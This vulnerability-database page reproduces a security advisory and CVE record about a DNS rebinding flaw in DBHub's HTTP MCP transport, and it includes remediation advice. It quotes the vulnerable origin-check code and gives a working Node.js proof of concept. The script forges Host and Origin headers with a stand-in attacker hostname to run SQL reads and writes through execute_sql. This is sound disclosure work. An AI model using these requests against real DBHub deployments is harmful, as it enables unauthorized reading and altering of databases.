Vulnerability-Lookup

GHSA-FM8P-53WW-HF6W

Vulnerability from github – Published: 2026-09-24 19:36 – Updated: 2026-09-24 19:36

Summary

DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution

Details

Summary

DBHub 0.21.2 exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example --transport http --port 8080.

The HTTP server attempts to protect browser-origin access by checking whether the Origin hostname equals the Host hostname, then reflecting the validated Origin into Access-Control-Allow-Origin. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both Origin and Host can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.

As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials.

Recommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.

Details

Affected target:

Package: @bytebase/dbhub
Version tested: 0.21.2
Repository commit tested: 72adfdcf7bcfe46b25edbc776ce096006eba9b02
Affected mode: HTTP transport (--transport http)
Default package transport: stdio
Not affected by this specific browser-origin vector: stdio transport

Relevant code path: src/server.ts

The HTTP server installs a middleware that:

reads req.headers.origin;
extracts the hostname from req.headers.host;
parses the hostname from Origin;
rejects only when the two hostnames differ;
reflects the validated Origin into Access-Control-Allow-Origin;
enables credentials with Access-Control-Allow-Credentials: true.

Relevant code:

const origin = req.headers.origin;

if (origin) {
  const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
  try {
    const originHost = new URL(origin).hostname.toLowerCase();
    if (originHost !== host) {
      return res.status(403).json({
        error: 'Forbidden',
        message: 'Origin does not match Host header (DNS rebinding protection)',
      });
    }
  } catch {
    return res.status(400).json({ error: 'Bad Request', message: 'Malformed Origin header' });
  }
}

res.header('Access-Control-Allow-Origin', origin || 'http://localhost');
res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');
res.header('Access-Control-Allow-Credentials', 'true');

This blocks a simple cross-origin request such as:

Host: localhost:8080
Origin: http://attacker.example

However, it accepts the DNS rebinding request shape:

Host: dbhub-rebind.example:8080
Origin: http://dbhub-rebind.example

In a browser attack, the victim visits an attacker-controlled page such as http://dbhub-rebind.example:8080. The attacker initially resolves that hostname to the attacker's web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.

No authorization token, per-server secret, or CSRF-style capability is required before /mcp accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.

Suggested remediation:

Bind HTTP transport to 127.0.0.1 by default and require explicit opt-in for 0.0.0.0 or non-loopback hosts.
Add an explicit allowed-hosts policy instead of accepting arbitrary Host values because Origin has the same hostname.
Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.
Require an authentication token or CSRF-style capability before dispatching /mcp JSON-RPC methods.
Consider rejecting browser-origin requests whose Host is not a configured loopback hostname or configured deployment hostname.

PoC

The following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.

Requirements:

Node.js 20 or newer
npm/npx access to install @bytebase/dbhub@0.21.2
An available local TCP port selected by the script

Save the following as dbhub-dns-rebinding-poc.mjs and run:

node dbhub-dns-rebinding-poc.mjs

The script starts DBHub 0.21.2 in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.

import { spawn } from "node:child_process";
import http from "node:http";
import net from "node:net";

const attackerHost = "dbhub-rebind.example";
const port = await pickFreePort();
const launch = dbhubLaunchCommand(port);

const server = spawn(
  launch.command,
  launch.args,
  {
    stdio: ["ignore", "pipe", "pipe"],
  },
);

let stdout = "";
let stderr = "";
server.stdout.on("data", (chunk) => {
  stdout += chunk.toString();
});
server.stderr.on("data", (chunk) => {
  stderr += chunk.toString();
});

try {
  await waitForDbhub(port);

  const blocked = await postMcp("blocked", "tools/list", {}, {
    Host: `localhost:${port}`,
    Origin: "http://attacker.example",
  });

  const rebindHeaders = {
    Host: `${attackerHost}:${port}`,
    Origin: `http://${attackerHost}`,
  };

  const list = await postMcp("list", "tools/list", {}, rebindHeaders);

  const read = await postMcp("read", "tools/call", {
    name: "execute_sql",
    arguments: { sql: "select 'STANDALONE_REBIND_CANARY' as proof" },
  }, rebindHeaders);

  const write = await postMcp("write", "tools/call", {
    name: "execute_sql",
    arguments: {
      sql: "create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values('standalone write proof'); select count(*) as rows_written from dns_rebind_probe;",
    },
  }, rebindHeaders);

  const result = {
    port,
    blocked: summarize(blocked),
    rebindToolsList: summarize(list),
    rebindRead: summarize(read),
    rebindWrite: summarize(write),
    reproduced:
      blocked.statusCode === 403 &&
      list.statusCode === 200 &&
      list.acao === `http://${attackerHost}` &&
      read.statusCode === 200 &&
      read.body.includes("STANDALONE_REBIND_CANARY") &&
      write.statusCode === 200 &&
      write.body.includes("rows_written"),
  };

  console.log(JSON.stringify(result, null, 2));
  if (!result.reproduced) {
    process.exitCode = 1;
  }
} finally {
  await stopServer(server);
}

async function postMcp(id, method, params, headers) {
  const body = JSON.stringify({ jsonrpc: "2.0", id, method, params });
  return await new Promise((resolve, reject) => {
    const req = http.request(
      {
        hostname: "127.0.0.1",
        port,
        path: "/mcp",
        method: "POST",
        headers: {
          "Content-Type": "application/json",
          "Accept": "application/json, text/event-stream",
          "Content-Length": Buffer.byteLength(body),
          ...headers,
        },
      },
      (res) => {
        let data = "";
        res.setEncoding("utf8");
        res.on("data", (chunk) => { data += chunk; });
        res.on("end", () => {
          resolve({
            statusCode: res.statusCode,
            acao: res.headers["access-control-allow-origin"] || null,
            body: data,
          });
        });
      },
    );
    req.on("error", reject);
    req.write(body);
    req.end();
  });
}

async function waitForDbhub(port) {
  const deadline = Date.now() + 45_000;
  while (Date.now() < deadline) {
    if (server.exitCode !== null) {
      throw new Error(`DBHub exited early with code ${server.exitCode}\nstdout:\n${stdout}\nstderr:\n${stderr}`);
    }
    try {
      const response = await httpGet(`http://127.0.0.1:${port}/healthz`);
      if (response.statusCode === 200) return;
    } catch {
      // keep waiting
    }
    await new Promise((resolve) => setTimeout(resolve, 500));
  }
  throw new Error(`DBHub did not become ready\nstdout:\n${stdout}\nstderr:\n${stderr}`);
}

async function httpGet(url) {
  return await new Promise((resolve, reject) => {
    const req = http.get(url, (res) => {
      res.resume();
      res.on("end", () => resolve({ statusCode: res.statusCode }));
    });
    req.on("error", reject);
    req.setTimeout(2_000, () => {
      req.destroy(new Error("timeout"));
    });
  });
}

async function pickFreePort() {
  return await new Promise((resolve, reject) => {
    const server = net.createServer();
    server.listen(0, "127.0.0.1", () => {
      const address = server.address();
      const selected = address.port;
      server.close(() => resolve(selected));
    });
    server.on("error", reject);
  });
}

function summarize(result) {
  return {
    statusCode: result.statusCode,
    acao: result.acao,
    body: result.body.slice(0, 900),
  };
}

function dbhubLaunchCommand(port) {
  if (process.platform === "win32") {
    return {
      command: "cmd.exe",
      args: [
        "/d",
        "/s",
        "/c",
        `npx -y @bytebase/dbhub@0.21.2 --transport http --port ${port} --demo`,
      ],
    };
  }
  return {
    command: "npx",
    args: ["-y", "@bytebase/dbhub@0.21.2", "--transport", "http", "--port", String(port), "--demo"],
  };
}

async function stopServer(child) {
  if (!child.pid || child.exitCode !== null) return;
  if (process.platform === "win32") {
    await new Promise((resolve) => {
      const killer = spawn("taskkill.exe", ["/pid", String(child.pid), "/t", "/f"], { stdio: "ignore" });
      killer.on("exit", resolve);
      killer.on("error", resolve);
    });
    return;
  }
  child.kill("SIGTERM");
}

Expected output:

blocked.statusCode is 403.
rebindToolsList.statusCode is 200.
rebindToolsList.acao is http://dbhub-rebind.example.
rebindRead.body contains STANDALONE_REBIND_CANARY.
rebindWrite.body contains rows_written.
reproduced is true.

This PoC simulates the post-rebinding request shape by connecting to 127.0.0.1 while sending the attacker-controlled Host and Origin headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.

Impact

An attacker who can get a victim to visit a malicious web page can make the victim's browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.

If DBHub is connected to a real database, the attacker can:

list DBHub MCP tools exposed by the server;
execute execute_sql;
enumerate tables and schemas;
read database contents;
run write queries when execute_sql is not configured as read-only;
read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;
exfiltrate query results through normal browser egress.

This does not require prompt injection, a compromised AI client, or prior access to the victim's internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.

The affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@bytebase/dbhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:36:57Z",
    "nvd_published_at": "2026-09-24T18:17:16Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nDBHub `0.21.2` exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`.\n\nThe HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.\n\nAs a result, a malicious website can deterministically invoke DBHub MCP tools from the victim\u0027s browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub\u0027s configured tool permissions and database credentials.\n\nRecommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.\n\n### Details\n\nAffected target:\n\n- Package: `@bytebase/dbhub`\n- Version tested: `0.21.2`\n- Repository commit tested: `72adfdcf7bcfe46b25edbc776ce096006eba9b02`\n- Affected mode: HTTP transport (`--transport http`)\n- Default package transport: stdio\n- Not affected by this specific browser-origin vector: stdio transport\n\nRelevant code path: `src/server.ts`\n\nThe HTTP server installs a middleware that:\n\n1. reads `req.headers.origin`;\n2. extracts the hostname from `req.headers.host`;\n3. parses the hostname from `Origin`;\n4. rejects only when the two hostnames differ;\n5. reflects the validated `Origin` into `Access-Control-Allow-Origin`;\n6. enables credentials with `Access-Control-Allow-Credentials: true`.\n\nRelevant code:\n\n```ts\nconst origin = req.headers.origin;\n\nif (origin) {\n  const host = (req.headers.host ?? \u0027\u0027).split(\u0027:\u0027)[0].toLowerCase();\n  try {\n    const originHost = new URL(origin).hostname.toLowerCase();\n    if (originHost !== host) {\n      return res.status(403).json({\n        error: \u0027Forbidden\u0027,\n        message: \u0027Origin does not match Host header (DNS rebinding protection)\u0027,\n      });\n    }\n  } catch {\n    return res.status(400).json({ error: \u0027Bad Request\u0027, message: \u0027Malformed Origin header\u0027 });\n  }\n}\n\nres.header(\u0027Access-Control-Allow-Origin\u0027, origin || \u0027http://localhost\u0027);\nres.header(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST, OPTIONS\u0027);\nres.header(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type, Mcp-Session-Id\u0027);\nres.header(\u0027Access-Control-Allow-Credentials\u0027, \u0027true\u0027);\n```\n\nThis blocks a simple cross-origin request such as:\n\n```http\nHost: localhost:8080\nOrigin: http://attacker.example\n```\n\nHowever, it accepts the DNS rebinding request shape:\n\n```http\nHost: dbhub-rebind.example:8080\nOrigin: http://dbhub-rebind.example\n```\n\nIn a browser attack, the victim visits an attacker-controlled page such as `http://dbhub-rebind.example:8080`. The attacker initially resolves that hostname to the attacker\u0027s web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.\n\nNo authorization token, per-server secret, or CSRF-style capability is required before `/mcp` accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.\n\nSuggested remediation:\n\n- Bind HTTP transport to `127.0.0.1` by default and require explicit opt-in for `0.0.0.0` or non-loopback hosts.\n- Add an explicit allowed-hosts policy instead of accepting arbitrary `Host` values because `Origin` has the same hostname.\n- Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.\n- Require an authentication token or CSRF-style capability before dispatching `/mcp` JSON-RPC methods.\n- Consider rejecting browser-origin requests whose `Host` is not a configured loopback hostname or configured deployment hostname.\n\n### PoC\n\nThe following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.\n\nRequirements:\n\n- Node.js 20 or newer\n- npm/npx access to install `@bytebase/dbhub@0.21.2`\n- An available local TCP port selected by the script\n\nSave the following as `dbhub-dns-rebinding-poc.mjs` and run:\n\n```bash\nnode dbhub-dns-rebinding-poc.mjs\n```\n\nThe script starts DBHub `0.21.2` in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.\n\n```js\nimport { spawn } from \"node:child_process\";\nimport http from \"node:http\";\nimport net from \"node:net\";\n\nconst attackerHost = \"dbhub-rebind.example\";\nconst port = await pickFreePort();\nconst launch = dbhubLaunchCommand(port);\n\nconst server = spawn(\n  launch.command,\n  launch.args,\n  {\n    stdio: [\"ignore\", \"pipe\", \"pipe\"],\n  },\n);\n\nlet stdout = \"\";\nlet stderr = \"\";\nserver.stdout.on(\"data\", (chunk) =\u003e {\n  stdout += chunk.toString();\n});\nserver.stderr.on(\"data\", (chunk) =\u003e {\n  stderr += chunk.toString();\n});\n\ntry {\n  await waitForDbhub(port);\n\n  const blocked = await postMcp(\"blocked\", \"tools/list\", {}, {\n    Host: `localhost:${port}`,\n    Origin: \"http://attacker.example\",\n  });\n\n  const rebindHeaders = {\n    Host: `${attackerHost}:${port}`,\n    Origin: `http://${attackerHost}`,\n  };\n\n  const list = await postMcp(\"list\", \"tools/list\", {}, rebindHeaders);\n\n  const read = await postMcp(\"read\", \"tools/call\", {\n    name: \"execute_sql\",\n    arguments: { sql: \"select \u0027STANDALONE_REBIND_CANARY\u0027 as proof\" },\n  }, rebindHeaders);\n\n  const write = await postMcp(\"write\", \"tools/call\", {\n    name: \"execute_sql\",\n    arguments: {\n      sql: \"create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values(\u0027standalone write proof\u0027); select count(*) as rows_written from dns_rebind_probe;\",\n    },\n  }, rebindHeaders);\n\n  const result = {\n    port,\n    blocked: summarize(blocked),\n    rebindToolsList: summarize(list),\n    rebindRead: summarize(read),\n    rebindWrite: summarize(write),\n    reproduced:\n      blocked.statusCode === 403 \u0026\u0026\n      list.statusCode === 200 \u0026\u0026\n      list.acao === `http://${attackerHost}` \u0026\u0026\n      read.statusCode === 200 \u0026\u0026\n      read.body.includes(\"STANDALONE_REBIND_CANARY\") \u0026\u0026\n      write.statusCode === 200 \u0026\u0026\n      write.body.includes(\"rows_written\"),\n  };\n\n  console.log(JSON.stringify(result, null, 2));\n  if (!result.reproduced) {\n    process.exitCode = 1;\n  }\n} finally {\n  await stopServer(server);\n}\n\nasync function postMcp(id, method, params, headers) {\n  const body = JSON.stringify({ jsonrpc: \"2.0\", id, method, params });\n  return await new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        hostname: \"127.0.0.1\",\n        port,\n        path: \"/mcp\",\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n          \"Accept\": \"application/json, text/event-stream\",\n          \"Content-Length\": Buffer.byteLength(body),\n          ...headers,\n        },\n      },\n      (res) =\u003e {\n        let data = \"\";\n        res.setEncoding(\"utf8\");\n        res.on(\"data\", (chunk) =\u003e { data += chunk; });\n        res.on(\"end\", () =\u003e {\n          resolve({\n            statusCode: res.statusCode,\n            acao: res.headers[\"access-control-allow-origin\"] || null,\n            body: data,\n          });\n        });\n      },\n    );\n    req.on(\"error\", reject);\n    req.write(body);\n    req.end();\n  });\n}\n\nasync function waitForDbhub(port) {\n  const deadline = Date.now() + 45_000;\n  while (Date.now() \u003c deadline) {\n    if (server.exitCode !== null) {\n      throw new Error(`DBHub exited early with code ${server.exitCode}\\nstdout:\\n${stdout}\\nstderr:\\n${stderr}`);\n    }\n    try {\n      const response = await httpGet(`http://127.0.0.1:${port}/healthz`);\n      if (response.statusCode === 200) return;\n    } catch {\n      // keep waiting\n    }\n    await new Promise((resolve) =\u003e setTimeout(resolve, 500));\n  }\n  throw new Error(`DBHub did not become ready\\nstdout:\\n${stdout}\\nstderr:\\n${stderr}`);\n}\n\nasync function httpGet(url) {\n  return await new Promise((resolve, reject) =\u003e {\n    const req = http.get(url, (res) =\u003e {\n      res.resume();\n      res.on(\"end\", () =\u003e resolve({ statusCode: res.statusCode }));\n    });\n    req.on(\"error\", reject);\n    req.setTimeout(2_000, () =\u003e {\n      req.destroy(new Error(\"timeout\"));\n    });\n  });\n}\n\nasync function pickFreePort() {\n  return await new Promise((resolve, reject) =\u003e {\n    const server = net.createServer();\n    server.listen(0, \"127.0.0.1\", () =\u003e {\n      const address = server.address();\n      const selected = address.port;\n      server.close(() =\u003e resolve(selected));\n    });\n    server.on(\"error\", reject);\n  });\n}\n\nfunction summarize(result) {\n  return {\n    statusCode: result.statusCode,\n    acao: result.acao,\n    body: result.body.slice(0, 900),\n  };\n}\n\nfunction dbhubLaunchCommand(port) {\n  if (process.platform === \"win32\") {\n    return {\n      command: \"cmd.exe\",\n      args: [\n        \"/d\",\n        \"/s\",\n        \"/c\",\n        `npx -y @bytebase/dbhub@0.21.2 --transport http --port ${port} --demo`,\n      ],\n    };\n  }\n  return {\n    command: \"npx\",\n    args: [\"-y\", \"@bytebase/dbhub@0.21.2\", \"--transport\", \"http\", \"--port\", String(port), \"--demo\"],\n  };\n}\n\nasync function stopServer(child) {\n  if (!child.pid || child.exitCode !== null) return;\n  if (process.platform === \"win32\") {\n    await new Promise((resolve) =\u003e {\n      const killer = spawn(\"taskkill.exe\", [\"/pid\", String(child.pid), \"/t\", \"/f\"], { stdio: \"ignore\" });\n      killer.on(\"exit\", resolve);\n      killer.on(\"error\", resolve);\n    });\n    return;\n  }\n  child.kill(\"SIGTERM\");\n}\n```\n\nExpected output:\n\n- `blocked.statusCode` is `403`.\n- `rebindToolsList.statusCode` is `200`.\n- `rebindToolsList.acao` is `http://dbhub-rebind.example`.\n- `rebindRead.body` contains `STANDALONE_REBIND_CANARY`.\n- `rebindWrite.body` contains `rows_written`.\n- `reproduced` is `true`.\n\nThis PoC simulates the post-rebinding request shape by connecting to `127.0.0.1` while sending the attacker-controlled `Host` and `Origin` headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.\n\n### Impact\n\nAn attacker who can get a victim to visit a malicious web page can make the victim\u0027s browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.\n\nIf DBHub is connected to a real database, the attacker can:\n\n- list DBHub MCP tools exposed by the server;\n- execute `execute_sql`;\n- enumerate tables and schemas;\n- read database contents;\n- run write queries when `execute_sql` is not configured as read-only;\n- read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;\n- exfiltrate query results through normal browser egress.\n\nThis does not require prompt injection, a compromised AI client, or prior access to the victim\u0027s internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.\n\nThe affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.",
  "id": "GHSA-fm8p-53ww-hf6w",
  "modified": "2026-09-24T19:36:57Z",
  "published": "2026-09-24T19:36:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/pull/340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/commit/5bf5c3242a22e94871dfdf53913c84a5025b7381"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytebase/dbhub"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytebase/dbhub/releases/tag/v0.22.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution"
}

CVE-2026-61742 (GCVE-0-2026-61742)

Vulnerability from cvelistv5 – Published: 2026-09-24 17:30 – Updated: 2026-09-24 17:42

Title

DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution

Summary

DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials. Version 0.22.5 fixes the issue.

Severity

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-24 17:42 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-346 - Origin Validation Error

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/bytebase/dbhub/security/adviso…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
bytebase	dbhub	Affected: < 0.22.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-61742",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-24T17:42:02.587147Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-24T17:42:27.772Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dbhub",
          "vendor": "bytebase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim\u0027s browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub\u0027s configured tool permissions and database credentials. Version 0.22.5 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-24T17:30:11.283Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w"
        }
      ],
      "source": {
        "advisory": "GHSA-fm8p-53ww-hf6w",
        "discovery": "UNKNOWN"
      },
      "title": "DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-61742",
    "datePublished": "2026-09-24T17:30:11.283Z",
    "dateReserved": "2026-07-10T18:59:00.047Z",
    "dateUpdated": "2026-09-24T17:42:27.772Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-FM8P-53WW-HF6W

Summary

Details

PoC

Impact

CVE-2026-61742 (GCVE-0-2026-61742)

Tags

Sightings

Nomenclature

Related by attack behaviour